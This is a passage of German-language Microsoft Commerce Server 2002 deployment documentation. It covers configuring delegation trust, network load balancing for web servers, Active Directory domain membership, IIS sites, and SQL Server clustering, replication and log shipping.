  1. Klicken Sie auf Start, zeigen Sie auf Programme, zeigen Sie auf Commerce Server 2002, und klicken Sie anschließend auf Commerce Server-Manager.
  2. Öffnen Sie in der Konsole von Commerce Server-Manager die Struktur Active Directory-Benutzer und -Computer, klicken Sie mit der rechten Maustaste auf den Domänenknoten und klicken Sie dann auf Suchen. Oder klicken Sie, wenn Sie wissen, in welcher Organisationseinheit sich der Computer befindet, mit der rechten Maustaste auf die entsprechende Organisationseinheit und dann auf Suchen.

    Eine weitere Möglichkeit besteht darin, das zu ändernde Computerkonto ohne den Befehl Suchen auszuwählen und dann bei Schritt 9 fortzufahren.

  3. Wählen Sie im Dialogfeld Benutzer, Kontakte und Gruppen suchen im Feld Suchen aus der Dropdownliste die Option Computer.
  4. Geben Sie auf der Registerkarte Computer im Feld Name den Namen des Computers ein, nach dem Sie suchen.
  5. Wählen Sie im Feld In die Domäne bzw. die Organisationseinheit, die Sie aus der Dropdownliste aussuchen möchten.

    Oder klicken Sie auf Durchsuchen, um den Ordner bzw. die Domäne auszuwählen, in welchem bzw. in welcher mit der Suche begonnen werden soll.

  6. (Optional) Geben Sie im Feld Besitzer den Namen der Person ein, deren Computer in der Domäne ist.
  7. (Optional) Wählen Sie im Feld Alle aus der Liste die Rolle des Computers. Sie können im Netzwerk nach allen Computern suchen, bei denen es sich um Arbeitsstationen und Server handelt bzw. um Computer, die Domänencontroller sind.
  8. Klicken Sie auf Suchen.

    Der Name des gewünschten Computers wird in der Liste im unteren Bereich des Dialogfelds Computer suchen angezeigt.

  9. Klicken Sie mit der rechten Maustaste auf den Namen des Computers, und klicken Sie dann auf Eigenschaften.
  10. Markieren Sie im Dialogfeld Eigenschaften von <Computername> die Option Computer für Delegierungszwecke vertrauen, und klicken Sie anschließend auf OK.


Konfigurieren der Webebene

In diesem Abschnitt wird beschrieben, wie die Webebene einer typischen Bereitstellung konfiguriert wird. Dabei wird davon ausgegangen, dass Sie bereits die Basisplattform installiert, das Netzwerk konfiguriert und die beiden Domänen eingerichtet haben. Vergewissern Sie sich, dass die Webserver die Computer sind, die Sie als Host für Ihre Websites und die Laufzeitkomponenten von Commerce Server verwenden werden. Um die Ebene der Geschäftslogik von der Datenbankebene zu trennen, sollten Ihre Webserver keine Ihrer Datenbanken enthalten.

Dieser Abschnitt beinhaltet folgende Themen:

  • Clustern von Webservern
  • Verbinden von Webservern mit einer Active Directory-Domäne
  • Konfigurieren von IIS


Clustern von Webservern

Um Verfügbarkeit und Leistung der Commerce Server-Anwendungen zu steigern, können Sie die Webserver mithilfe von verschiedenen Lösungen für den Lastenausgleich zu Clustern zusammenfassen. Zu solchen Lösungen gehören z. B. hardwarebasierte Lastenausgleichssysteme oder der Microsoft Windows 2000-Netzwerklastenausgleich (NLB). Dieser Abschnitt befasst sich nur mit dem Einsatz von NLB für die Zusammenfassung von Webservern zu Clustern. Weitere Informationen über die Erstellung von Clustern finden Sie unter Clusterkonzepte.

In einem NLB-Webcluster ist jedes Mitglied normalerweise mit zwei Netzwerkkarten ausgestattet: Die Front-End-Netzwerkkarte verarbeitet Clientanfragen, und die Back-End Netzwerkkarte ist für die interne Kommunikation zuständig (dazu gehören z. B. Clusteroperationen und Datenbankzugriffe). Alle Mitglieder nutzen eine gemeinsame Cluster- oder virtuelle IP-Adresse (VIP). Optional hat jedes Mitglied eine dedizierte IP-Adresse (DIP).

Die nachfolgende Abbildung veranschaulicht die Verteilung der IP-Adressen einer NLB-Beispielkonfiguration.

IP-Adressen einer NLB-Konfiguration (Beispiel)

Alle Mitglieder eines einzelnen Subnetzes erkennen gleichzeitig alle eingehenden Anfragen, die an die VIP des Clusters gerichtet sind. NLB verwendet einen vollständig verteilten Algorithmus, um festzustellen, welches Mitglied die Anfrage bearbeiten soll. Alle anderen Mitglieder werden die Anfrage verwerfen.

NLB erkennt automatisch Änderungen im Status eines Clusters (Mitglieder, die offline oder online geschaltet, hinzugefügt oder entfernt werden) mithilfe der Übertragung von NLB-Austauschnachrichten über die Front-End-Netzwerkkarten. Änderungen im Status eines Clusters verursachen Inkonsistenzen in diesem Austausch von Nachrichten. Wenn diese Inkonsistenzen eine konfigurierbare Zeitspanne überschreiten (standardmäßig eine Sekunde), leitet NLB einen Prozess zur Feststellung des aktuellen Status des Clusters ein, um die Lasten entsprechend besser ausgleichen zu können. NLB nimmt dann automatisch eine Neuverteilung der Anfragen zwischen den übrigen, aktiven Mitgliedern vor. Durch diesen Prozess wird sichergestellt, dass nur aktive Mitglieder Anfragen erhalten.

NLB kann mithilfe folgender Programme installiert werden:

  • Microsoft Application Center 2000
  • Microsoft Windows 2000 Advanced Server
  • Microsoft Windows 2000 Datacenter Server

So installieren Sie NLB

  1. Klicken Sie auf Start, zeigen Sie auf Einstellungen, und klicken Sie dann auf Netzwerk- und DFÜ-Verbindungen.
  2. Klicken Sie mit der rechten Maustaste auf die LAN-Verbindung, auf der NLB installiert werden soll, und klicken Sie anschließend auf Eigenschaften.
  3. Aktivieren Sie im Dialogfeld Eigenschaften von LAN-Verbindung unter Aktivierte Komponenten werden von dieser Verbindung verwendet das Kontrollkästchen Netzwerklastenausgleich, und klicken Sie anschließend auf Eigenschaften.
  4. Geben Sie im Dialogfeld Netzwerklastenausgleich-Eigenschaften im Feld Primäre IP-Adresse die Cluster-IP-Adresse bzw. die virtuelle IP-Adresse (VIP) ein. Das ist die IP-Adresse, die von allen Mitgliedern des Clusters gemeinsam genutzt wird.
  5. Geben Sie die entsprechende Subnetzmaske ein, und klicken Sie auf OK.
  6. Klicken Sie zum Fertigstellen der NLB-Installation auf OK.
  7. Wiederholen Sie diesen Vorgang für jedes Mitglied des NLB-Clusters.

Konfigurieren von NLB

Im Folgenden wird beschrieben, wie der Netzwerklastenausgleich (NLB) einer typischen Bereitstellung konfiguriert wird.

So konfigurieren Sie NLB auf der Webebene

  1. Öffnen Sie das Eigenschaftendialogfeld für die Front-End-Netzwerkkarte (zur Kommunikation mit Clients über das Internet).
  2. Geben Sie im Dialogfeld Eigenschaften von Netzwerklastenausgleich auf der Registerkarte Clusterparameter die Primäre IP-Adresse (die virtuelle IP-Adresse, die von allen Clustermitgliedern gemeinsam genutzt wird), die Subnetzmaske und den Vollständigen Internetnamen ein.
  3. Geben Sie im Dialogfeld Eigenschaften von Netzwerklastenausgleich auf der Registerkarte Hostparameter die entsprechenden Werte in die Felder Priorität (eindeutige Hostkennung), Dedizierte IP-Adresse und Subnetzmaske ein.
  4. Entfernen Sie im Dialogfeld Eigenschaften von Netzwerklastenausgleich auf der Registerkarte Anschlussregeln die Standardanschlussregeln für die Anschlüsse 0 bis 65535, indem Sie sie markieren und dann auf Entfernen klicken.
  5. Erstellen Sie eine Anschlussregel für HTTP mithilfe der Informationen in der folgenden Tabelle, und klicken Sie auf Hinzufügen.
    Feld | Eingabe
    Anschlussbereich | 80 bis 80
    Protokolle | Beide
    Affinität | Keine
  6. Erstellen Sie eine Anschlussregel für HTTPS mithilfe der Informationen in der folgenden Tabelle, und klicken Sie auf Hinzufügen.
    Feld | Eingabe
    Anschlussbereich | 443 bis 443
    Protokolle | Beide
    Affinität | Einfach
  7. Klicken Sie im Dialogfeld Internetprotokolleigenschaften (TCP/IP) auf Erweitert.
  8. Klicken Sie im Dialogfeld Erweiterte TCP/IP-Einstellungen auf der Registerkarte IP-Einstellungen im Bereich IP-Adressen auf Hinzufügen, und geben Sie dann die IP-Adresse (die von allen Mitgliedern verwendete virtuelle IP-Adresse) und die Subnetzmaske des Clusters ein.
  9. Starten Sie den Server neu.
  10. Wiederholen Sie die Schritte 1-9 für jeden Webserver, und vergeben Sie dabei unterschiedliche dedizierte IP-Adressen. Erhöhen Sie für jeden weiteren Webserver, den Sie zum Cluster hinzufügen, den Wert für Priorität (eindeutige Hostkennung) um eins.

Siehe auch

Verbinden der Webserver


Verbinden von Webservern mit einer Active Directory-Domäne

Wenn Sie eine Domäne für den Microsoft Active Directory-Verzeichnisdienst erstellen, vergewissern Sie sich, dass Ihre Webserver der Domäne angehören, ehe Sie Microsoft Commerce Server 2002 installieren. Weitere Informationen über Active Directory finden Sie unter Einrichten der Domänen.

Hinweis

  • Um den Computer mit einer Domäne verbinden zu können, müssen Sie als Administrator beim lokalen Computer angemeldet sein und über einen gültigen Benutzernamen und ein Kennwort verfügen. Wenn Sie den Benutzernamen bzw. das Kennwort nicht kennen, wenden Sie sich an Ihren Systemadministrator.

So stellen Sie eine Verbindung zur Domäne her

  1. Klicken Sie auf Start, zeigen Sie auf Einstellungen, klicken Sie auf Systemsteuerung und dann auf System.
  2. Klicken Sie auf der Registerkarte Netzwerkidentifikation im Dialogfeld Systemeigenschaften auf Eigenschaften.
  3. Wählen Sie im Dialogfeld Änderungen der Benutzerinformationen im Bereich Mitglied von die Option Domäne, geben Sie den Namen der gewünschten Domäne ein, und klicken Sie danach auf OK.

    Sie werden jetzt aufgefordert, einen Benutzernamen und ein Kennwort einzugeben, damit der Computer in die Domäne aufgenommen wird.

    Hinweis

    • Wenn Sie möchten, dass die Active Directory-Domäne sehr lange Namen anerkennt, muss der Domänenadministrator die Registrierung von DNS-Namen freigeben, die 16 Byte lang oder länger sind.
  4. Um das Dialogfeld Systemeigenschaften nach der Eingabe von Benutzernamen und Kennwort wieder zu schließen, klicken Sie auf OK.

Sie werden dann aufgefordert, die Computer neu zu starten, um die Änderungen wirksam werden zu lassen.

Siehe auch

Einrichten der Domänen


Konfigurieren von IIS

Internetinformationsdienste (IIS) 5.0 wird standardmäßig zusammen mit Microsoft Windows 2000 Server und Microsoft Windows 2000 Advanced Server installiert.

Um zusätzliche Sicherheit für Ihre Webseiten zu bieten, sollten Sie eine neue IIS-Website für jede Site erstellen, die Sie mit Commerce Server zu erstellen gedenken. Normalerweise installiert Commerce Server Ihre Site in der IIS-Standardwebsite. Wenn Sie Commerce Server Site Packager zum Entpacken Ihrer Site verwenden, können Sie festlegen, ob sie in der von Ihnen erstellten IIS-Website oder in der Standardwebsite verbleiben soll.

So erstellen Sie eine neue IIS-Website

  1. Klicken Sie auf Start, zeigen Sie auf Programme, zeigen Sie auf Verwaltung, und klicken Sie dann auf Internetdienste-Manager.
  2. Klicken Sie im Dialogfeld Internetinformationsdienste mit der rechten Maustaste auf den Namen des Computers, auf dem Sie die neue IIS-Site erstellen möchten, zeigen Sie auf Neu, und klicken Sie dann auf Website.
  3. Klicken Sie im Dialogfeld Assistent für neue Website auf Weiter.
  4. Geben Sie im Dialogfeld Beschreibung der Website im Feld Beschreibung einen Namen für die neue Website ein. Dieser Name wird als Sitename in Internetdienste-Manager angezeigt. Klicken Sie auf Weiter.
  5. Nehmen Sie im Dialogfeld IP-Adresse und Anschlusseinstellungen die folgenden Einstellungen vor:
    Funktion | Aktion
    Geben Sie die IP-Adresse ein, die für diese Website verwendet werden soll | Geben Sie die IP-Adresse (Internet Protocol) für diese Website ein, oder wählen Sie eine Adresse aus der Dropdownliste. Der Wert Alle nicht zugeordnet bezieht sich auf die IP-Adressen, die einem Computer, nicht aber einer bestimmten Site zugeordnet sind. Die Standardwebsite verwendet alle IP-Adressen, die keinen anderen Sites zugeordnet sind. Nur eine Site kann so eingestellt werden, dass sie nicht zugeordnete IP-Adressen verwendet.
    TCP-Anschluss für diese Website: (Standard: 80) | Geben Sie die Anschlussadresse für diese Website ein.
    Hostheader für diese Site: (Standard: keiner) | Geben Sie einen Hostheadernamen für die Website ein. Wenn Sie einer IP-Adresse mithilfe von Hostheadern zusätzliche Sites hinzufügen, müssen Sie einen Hostheadernamen zuordnen.
  6. Klicken Sie auf Weiter.
  7. Nehmen Sie im Dialogfeld Website-Basisverzeichnis die folgenden Einstellungen vor:
    Funktion | Aktion
    Pfad | Geben Sie den Speicherort in Ihrem Windows-Dateisystem ein, in dem sich das Stammverzeichnis der Site befindet.
    Anonymen Zugriff auf diese Website zulassen | Durch diese Option wird Benutzern von außerhalb der Zugriff auf die Site ohne Benutzername und Kennwort ermöglicht.
  8. Klicken Sie auf Weiter.
  9. Legen Sie im Dialogfeld Zugriffsberechtigungen für die Website die gewünschten Berechtigungen für Benutzer fest, die auf das zuvor angegebene Stammverzeichnis der Website zugreifen, und klicken Sie dann auf Weiter.
  10. Klicken Sie auf Fertig stellen, um den Assistenten zu schließen.

Hinweise

  • Es ist empfehlenswert, einen DNS-Service (Domain Name System) auf einem Computer im Intranet zu installieren. Wenn das Intranet klein ist, können Sie HOSTS- bzw. LMHOSTS-Dateien auf allen Computern des Netzwerks verwenden. DNS ermöglicht den Benutzern den Zugriff auf Ihre Site mithilfe von Namen anstelle von IP-Adressen.
  • Aus Sicherheitsgründen empfiehlt es sich, alle mit IIS verwendeten Datenträger mit NTFS zu formatieren.

Siehe auch

Commerce Server und IIS


Konfigurieren der Datenbankebene

Die Datenbankserver sind die Computer, die Sie als Host für Ihre Commerce Server- und Anwendungsdatenbanken verwenden. Auch die Ressourcen für Commerce Server Direct Mailer befinden sich, sofern sie installiert werden, auf diesen Computern.

Um die Ebene der Geschäftslogik von der Datenbankebene zu trennen, sollten sich auf Ihren Datenbankservern keine Ihrer Anwendungen oder Verwaltungstools befinden. Eine Ausnahme ist Direct Mailer, das Sie bei kleineren Sitekonfigurationen auf Ihrem Datenbankserver installieren können.

In diesem Abschnitt wird beschrieben, wie die Datenbankebene einer typischen Bereitstellung konfiguriert wird. Dabei wird davon ausgegangen, dass Sie bereits die Basisplattform installiert, das Netzwerk konfiguriert und die beiden Domänen eingerichtet haben.

Dieser Abschnitt beinhaltet folgende Themen:

  • Clustern der SQL-Server
  • Installieren von SQL Server 2000
  • Installieren von Commerce Server 2002-Ressourcen als Ressourcencluster
  • Verwenden der SQL Server-Replikation
  • Verwenden der Protokollversandfunktion von SQL Server

Siehe auch

Konfigurieren einer SQL-Publikation zum Replizieren eines Katalogs


Clustern der SQL-Server

Um eine hohe Verfügbarkeit Ihrer SQL Server-Datenbanken zu gewährleisten, ist es empfehlenswert, diese mithilfe des Clusterdienstes auf Serverclustern zu speichern. Server, die mithilfe des Clusterdienstes konfiguriert sind, nutzen alle allgemeinen Daten gemeinsam und arbeiten als einzelnes System. Jeder dieser Server kann unabhängig von den anderen Servern des Clusters arbeiten. Fällt ein Server aus, kann ein anderer Server seine Funktionen übernehmen.

Jeder Knoten verfügt über seinen eigenen Speicher, einen eigenen Systemdatenträger, ein eigenes Betriebssystem und eine Teilmenge der Ressourcen des Clusters. Fällt ein Knoten aus, übernimmt ein anderer die Ressourcen dieses ausgefallenen Knotens. Der Clusterdienst registriert dann die Netzwerkadresse der Ressourcen für den neuen Knoten, sodass der Clientdatenverkehr zu dem neuen Server umgeleitet wird. Wenn der ausgefallene Server wieder bereit ist, kann der Clusterdienst je nach Konfiguration die Ressourcen und die Clientanfragen neu verteilen.

Es gibt verschiedene in Betracht zu ziehende Arten von Clustertechniken, u. a. gemeinsam genutzte oder gespiegelte Datenträger. Welche Sie einsetzen, hängt von Ihren Bedürfnissen und Ihrem Budget ab. Sie können Ihre Server auch in einer aktiv/aktiv-Konfiguration betreiben, bei der jeder Server Anwendungen ausführt und gleichzeitig als Backup für den anderen Server dient. Bei einer aktiv/passiv-Konfiguration führt nur ein Server Anwendungen aus, und der andere fungiert vollständig als Backupsystem. Um diese Entscheidung fällen zu können, müssen Sie die Rolle der Servercluster in Ihrer Site berücksichtigen. In der folgenden Tabelle werden drei Techniken aufgeführt, die zur Verteilung von Daten über mehrere Server eingesetzt werden können.

Technik | Beschreibung
Gemeinsam genutzte Datenträger | Obwohl für diese Technik keine teuren Kabelverbindungen und Schalter mehr benötigt werden, erfordert die Technik zur gemeinsamen Nutzung von Datenträgern (bei der mehrere Server denselben Datenträger verwenden) immer noch speziell angepasste Anwendungen, die eine Software verwenden, die als Distributed Lock Manager (DLM) bezeichnet wird.
Gespiegelte Laufwerke | Diese Technik ist flexibler als die gemeinsame Nutzung von Datenträgern und basiert darauf, dass jeder Server über eigene Datenträger verfügt und eine Software eingesetzt wird, die für jeden Schreibvorgang eines Servers eine Kopie der Daten auf einem anderen Server speichert, also "gespiegelt" wird. Diese Technik ist äußerst nützlich, um Daten, die sich in einer gefährdeten Site befinden, mit einem primären Server zu synchronisieren.
Keine gemeinsame Nutzung | Bei einer Konfiguration, in der keine gemeinsame Nutzung stattfindet, verfügt jeder Server über eigene Datenträgerressourcen. Fällt ein Server aus, verfügt ein Cluster dieser Konfigurationstechnik über Software, die die Zugehörigkeit eines Datenträgers einem anderen Server zuordnen kann. Diese Technik bietet dieselbe hohe Verfügbarkeit wie Cluster mit gemeinsam genutzten Datenträgern und eine potenziell höhere Skalierbarkeit, da hier der Engpass der DLM-Software entfällt.

Bevor Sie Servercluster erstellen, müssen Sie den Aufbau sorgfältig planen. Die Server im Cluster müssen mit kompatiblen Laufwerken, Netzwerkkarten und Laufwerkcontrollern ausgerüstet und entsprechend konfiguriert sein. Weitere Informationen zu diesen Voraussetzungen erhalten Sie bei Ihrem Hardwarelieferanten. Informationen über die Planung und Vorbereitung von Serverclustern finden Sie im Microsoft Windows 2000 Server Deployment Planning Guide (nur auf Englisch verfügbar). Verwenden Sie nach der Entwicklung eines Plans für die Servercluster den Assistenten zum Konfigurieren des Clusterdienstes in Windows, um Ihren Servercluster zu erstellen und zu konfigurieren. Genaue Anweisungen zum Installieren des Clusterdienstes finden Sie im Step-by-Step Guide to Installing Cluster Service (nur auf Englisch verfügbar).

Verwenden Sie zum Gruppieren der SQL-Datenbank Windows Clustering. Ein ausführliches Beispiel wird in "Commerce Server 2000 High Availability Reference Architecture: Compaq-Microsoft High Availability Reference Architecture Validation" gezeigt, zu finden unter http://go.microsoft.com/fwlink/?LinkId=6687 (nur auf Englisch verfügbar)..

Weitere Informationen zum Installieren von Direct Mailer und des Vorhersagedienstes auf einem Cluster finden Sie unter Installieren von Commerce Server 2002-Ressourcen als Ressourcencluster.


Installieren von SQLServer2000

Feedback zu dieser Seite senden Commerce Server 2002

Installieren von SQL Server 2000

Microsoft SQL Server 2000 bietet eine erweiterte Interoperabilität mit dem Clusterdienst von Windows. Vor SQL Server 2000 verwendete das SQL-Clustering drei neu eingebundene virtuelle DLLs, die zwischen jeder SQL Server- oder Clientkomponente und den entsprechenden Kernel-DLLs geschaltet waren. SQL Server 2000 weist darüber hinaus folgende Verbesserungen gegenüber früheren Versionen auf:

  • Das Clustering ist einfacher zu verwalten. Es ist mithilfe der SQL-Instanzenbildung implementiert, sodass eine virtuelle Zuordnungsebene überflüssig wird und Sie direkt einzelne Komponenten der Clusterumgebung verwalten können.
  • Alle SQL Server-Tools sind clustertauglich, wodurch die Umgebung wesentlich stabiler wird. Die Tools sind jetzt integriert, wodurch es nicht mehr notwendig ist, den Einsatz mehrerer Tools zu koordinieren. Wenn bei vorherigen Versionen verschiedene Tools für die Verwaltung eines Clusters verwendet wurden, konnte ein Missbrauch oder Fehler bei der Koordination des Tooleinsatzes zu einem Ausfall des Clusters führen.
  • Cluster können bis zu vier Knoten aufweisen (anstelle von zwei Knoten in vorherigen Versionen).
  • Jetzt können dynamische Upgrades auf Knoten in einem Cluster des Windows-Clusterdienstes vorgenommen werden. Bei Versionen vor SQL Server 2000 musste der gesamte Cluster offline geschaltet werden, um ein Upgrade durchführen zu können. Mit SQL Server 2000 können Sie zur Durchführung eines Upgrades einen einzelnen Knoten offline schalten, während die anderen weiter online bleiben.
  • Die Volltextsuche ist jetzt clusterfähig.

Wichtig

  • Commerce Server 2002 Data Warehouse unterstützt kein OLAP-Clustering.

Hinweis

  • Commerce Server unterstützt keine gemischte Konfiguration aus Microsoft SQL Server 7.0 und SQL Server 2000 für die Data Warehouse- und OLAP-Serverdatenbanken.

Führen Sie folgende Schritte auf jedem SQL-Servercluster aus, wenn Sie SQL Server 2000 auf der Datenbankebene installieren möchten.

So installieren Sie SQL Server 2000 auf der Datenbankebene

  1. Wenn die Server, auf denen SQL Server ausgeführt wird, einen externen Datenträger oder eine Speichereinheit gemeinsam nutzen sollen, verbinden Sie dieses Gerät oder die Einheit mit den Servern, und konfigurieren Sie sie. Verwenden Sie dazu SCSI-Kabel bzw. die entsprechend erforderlichen Teile für die Verbindung. Weitere Informationen zu diesem Schritt finden Sie in der Dokumentation zu den entsprechenden Speichereinheiten.
  2. Installieren Sie den Clusterdienst gemäß den Anweisungen im Step-by-Step Guide to Installing Cluster Service (nur auf Englisch verfügbar).
  3. Erstellen Sie eine neue Datenträgerressource des Clusters für Microsoft Distributed Transaction Coordinator (MSDTC).
  4. Konfigurieren Sie MSDTC für die Ausführung auf einem Cluster, indem Sie den Befehl comclust.exe ausführen.
  5. Installieren Sie SQL Server 2000 und wählen Sie die entsprechenden Optionen für Ihre Bereitstellung.
  6. Deaktivieren Sie die Named Pipes mithilfe der SQL Server-Clientkonfiguration.
  7. Installieren Sie SQL Server 2000 Service Pack 2.

Siehe auch

Clustern der SQL-Server


Installieren von CommerceServer 2002-Ressourcen als Ressourcencluster

Feedback zu dieser Seite senden Commerce Server 2002

Installieren von Commerce Server 2002-Ressourcen als Ressourcencluster

Sie können die Commerce Server 2002 Direct Mailer-Ressource als Ressourcencluster mit hoher Verfügbarkeit installieren, um damit die Funktionen von Microsoft Cluster Server (MSCS) nutzen zu können. Durch die Installation von Commerce Server-Ressourcen auf einem MSCS-Clusterserver wird eine hohe Verfügbarkeit unterstützt. Die Direct Mailer-Ressourcen können beispielsweise so konfiguriert werden, dass bei einem Failover des Betriebssystems ein anderer Knoten in der Clusterkonfiguration die Ressourcen übernimmt.

In diesem Abschnitt werden die Voraussetzungen und die Vorgehensweise für die Installation von Microsoft Commerce Server 2002-Ressourcen als Ressourcencluster behandelt.

Hinweis

  • Commerce Server 2002 lässt keine automatische Softwareverteilung oder Installationen im Hintergrund für Ressourcencluster zu.

Voraussetzungen

Bevor Sie die Direct Mailer-Ressource als Cluster installieren, beachten Sie bitte Folgendes:

  • Für die Installation ist Microsoft Windows 2000 Advanced Server oder Microsoft Windows 2000 Datacenter Server erforderlich.

    Hinweis

    • Advanced Server-Clusters können bis zu zwei Clusterknoten, Datacenter Server-Cluster bis zu vier Clusterknoten enthalten.
  • Installieren und konfigurieren Sie den Microsoft Clusterdienst für die Knoten, auf denen die Commerce Server 2002-Ressourcen installiert werden. Informationen zum Installieren von Clusterknoten finden Sie unter "Installieren und Aktualisieren von Clusterknoten" in der Windows 2000-Hilfe.
  • Weisen Sie dem Cluster eine Laufwerksressource und jeder zu installierenden Ressource eine eindeutige IP-Adresse und einen Netzwerknamen zu. Sie müssen dabei IP-Adressen und Netzwerknamen wählen, die im Netzwerksegment noch nicht vorhanden sind.
  • Verknüpfen Sie die Clusterknoten mit dem Server, auf dem SQL Server ausgeführt wird.

So installieren Sie die Direct Mailer-Ressource als Cluster

Hinweise

  • Jede virtuelle Servergruppe stellt einen Dienst dar.
  • Wenn während des Clustersetups von Direct Mailer eine vorangestellte 0 eingegeben wird, startet der Dienst nicht. Weitere Informationen finden Sie im Knowledge Base-Artikel "Ping and FTP Resolve IP Address with Leading Zero as Octal" unter http://go.microsoft.com/fwlink/?LinkId=5593.
  1. Wenn ein MSCS-Clusterdienst vorhanden ist, wird nach der Installation von Commerce Server das Dialogfeld Ressourcengruppe für virtuellen Server angezeigt. Klicken Sie im Dialogfeld Ressourcengruppe für virtuellen Server von Direct Mailer auf Ja, um eine Ressourcengruppe für einen virtuellen Server für Direct Mailer zu erstellen, und gehen Sie dann folgendermaßen vor:
    Hinweis
    • Wenn die Direct Mailer-Ressource bereits auf einem Knoten im Cluster installiert ist, werden die Felder des Dialogfelds abgeblendet dargestellt, und das Setup wird den Knoten jeder Ressource in der Direct Mailer-Gruppe als einen "möglichen Besitzer" hinzufügen.
    Funktion | Aktion
    IP-Adresse | Geben Sie die IP-Adresse (Internet Protocol) für den Direct Mailer-Dienst ein.
    Netmask Geben Sie die Netmask-Adresse für den Direct Mailer-Dienst ein.

    Die Netmask-Adresse sollte mit der Netmask übereinstimmen, die von der IP-Ressource der Clustergruppe verwendet wird. Informationen zur Netmask finden Sie unter dem Thema "TCP/IP" in der Windows 2000-Hilfe.
    Netzwerkname | Geben Sie den Netzwerknamen für diese Ressourcengruppe ein.
  2. Klicken Sie auf Weiter.

    Damit für Commerce DirectMailer auf dem Cluster erstellt. Die virtuellen IP-Adressen und Netzwerknamen werden an den DNS-Computer (Domain Name System) weitergegeben, der auf der Netzwerkschnittstellenkarte festgelegt wurde. Die virtuellen IP-Adressen werden dann der angegebenen Netzwerkkarte zugewiesen.

    Hinweis
    • Nach der Erstellung der Ressourcencluster können Sie diese nach dem Setup in eine andere Ressourcengruppe verschieben.
  3. Klicken Sie auf Installieren, um die Installation zu starten.
  4. Klicken Sie auf Fertig stellen, um das Setupprogramm zu verlassen.

    Das Fenster PuP Packages wird geöffnet und die leere Lösungsseite angezeigt.

Es wird empfohlen, nach der Installation von Commerce Server 2002 den Computer neu zu starten.


Verwenden der SQL Server-Replikation

Mithilfe von SQL Server-Replikation können Sie Ihre Datenbankserver in Ihrer Installation synchronisieren. SQL Server bietet verschiedene Replikationsoptionen (z. B. die Replikation von Snapshots und Transaktionsreplikation). Sie sollten in Betracht ziehen, die SQL Server-Replikation für Stapelaktualisierungen einzusetzen, wenn Ihre Anwendungslogik in der Art von Datenbankzugriffen arbeiten kann.

So können Sie beispielsweise das Produktkatalogsystem in Commerce Server vorwiegend im Batchmodus aktualisieren und alle Clientzugriffe mit einem Schreibschutz versehen. Ein anderes Beispiel ist die gelegentliche Erstellung und Änderung des OrderForm-Objekts durch bekannte Pipelinekomponenten. OrderForm-Objekts werden regelmäßig beim Auschecken von anderen Pipelinekomponenten in der Site gelesen, um Steuer- oder Versandkostenberechnungen durchzuführen. In beiden Beispielen sollten Sie die Aktualisierung einer kleinen Anzahl von Speicherplätzen durch Lesevorgänge in Betracht ziehen, die an eine Reihe schreibgeschützter Server gerichtet sind.

Die SQL Server-Replikation könnte auch zur Synchronisierung von geographisch verteilten Servern eingesetzt werden.

Die folgende Abbildung veranschaulicht eine mögliche Zusammenfassung von SQL-Servern zu einem Cluster auf der Datenbankebene.

Wenn Sie den Netzwerklastenausgleich vor einer Gruppe von schreibgeschützten Servern platzieren, auf denen SQL Server ausgeführt wird, können Sie denselben Servernamen für den gesamten Cluster verwenden. Der Vorteil dieser Vorgehensweise besteht darin, dass jeder Server des Clusters außer Betrieb gesetzt werden kann, ohne dass die Benutzer davon betroffen werden. Es besteht auch die Möglichkeit, eine Replikation der OLTP-Umgebung (online transaction processing) auf den Cluster vorzunehmen. Die Transaktionsreplikation sollte eingesetzt werden, wenn eine höhere Transaktionskonsistenz erforderlich ist, um die Wartezeit zwischen dem OLTP-Server und den lastenausgeglichenen, schreibgeschützten Servern zu minimieren.

Beachten Sie bei der Installation von NLB-Abfrageclustern Folgendes:

  • Bei jeder Installation des Netzwerklastenausgleichs sind mindestens zwei dedizierte IP-Adressen (eine pro Server) und eine virtuelle IP-Adresse zu vergeben. Damit die Replikation zwischen der OLTP-Umgebung und dem Cluster richtig funktioniert, muss diese immer direkt an die dedizierten IP-Adressen (oder die eindeutigen Servernamen) gerichtet werden und niemals an die virtuelle IP-Adresse oder den Clusternamen.

    Da der Netzwerklastenausgleich zum Ausgleich der Lasten auf den Cluster eingesetzt wird, würde eine direkt auf die virtuelle IP-Adresse (oder den Clusternamen) gerichtete Replikation zu Inkonsistenzen in der Transaktion zwischen den Servern im Cluster führen.

  • Obwohl sowohl die Push- als auch die Pull-Metapher für diese Konfiguration verwendet werden kann, ist es am besten, alle Replikationen auf die Server im Cluster zu "pushen". Der Grund dafür ist, dass die Push-Variante die zentrale Verwaltung der Verteilungsjobs und eine Alarmierung ermöglicht, wenn ein Server des Clusters nicht mehr antwortet. (Die Replikation schlägt fehl, wenn der Server nicht antwortet.)
  • Da die Replikation zwischen der OLTP-Umgebung und dem Cluster stattfindet, kann auf den Servern des Clusters kein Schreib-/Lesezugriff für Datenbanken eingerichtet werden. Daher müssen zur Wahrung der Sicherheit Anmeldungsberechtigungen vergeben werden. Alle Clientverbindungen zu den Servern im Cluster müssen über die virtuelle IP-Adresse verbunden werden und dürfen nur eine Leseberechtigung erhalten. Außerdem muss sichergestellt werden, dass alle Server im schreibgeschützten Cluster dieselbe Anmeldungsgruppe umfassen.

Wenn Sie einen Snapshot auf Abonnenten im Cluster anwenden möchten, ist es empfehlenswert, die Server einzeln vom Cluster zu trennen, den Snapshot anzuwenden, und dann jeden Server wieder einzeln mit dem Cluster zu verbinden. Dadurch wird die maximale Verfügbarkeit erreicht und die Transaktionskonsistenz zwischen den Servern im Cluster gewahrt.

Siehe auch

Replizieren des Kataloginhalts


Verwenden der Protokollversandfunktion von SQL-Server

Wenn ein einzelner Produktionsserver sowohl Lese- als auch Schreibzugriffe auf Daten ermöglicht, sollten Sie alle Transaktionen protokollieren. Mit der Protokollversandfunktion von SQL-Server können Sie Dateien auf einen Nicht-Produktionsserver übertragen, der fortlaufend mit den Transaktionsprotokolldateien aktualisiert wird. Diese Möglichkeit ist preiswert, einfach zu handhaben und bietet eine Strategie für bessere Verfügbarkeit in Umgebungen, in denen das System nicht ununterbrochen in Betrieb sein muss.

Diese Methode kann mit anderen in diesem Abschnitt beschriebenen Strategien kombiniert werden, um ein System nach einem Absturz wiederherzustellen, wenn eine schnelle Verfügbarkeit notwendig ist. Sie können auch aktive Backups einsetzen, um geographisch verteilte Datenzentren sinnvoll zu synchronisieren. Dies ist eine preiswerte Möglichkeit, um eine synchronisierte Datenbank in einem separaten Datenzentrum für den Fall einer Wiederherstellung zu betreiben.

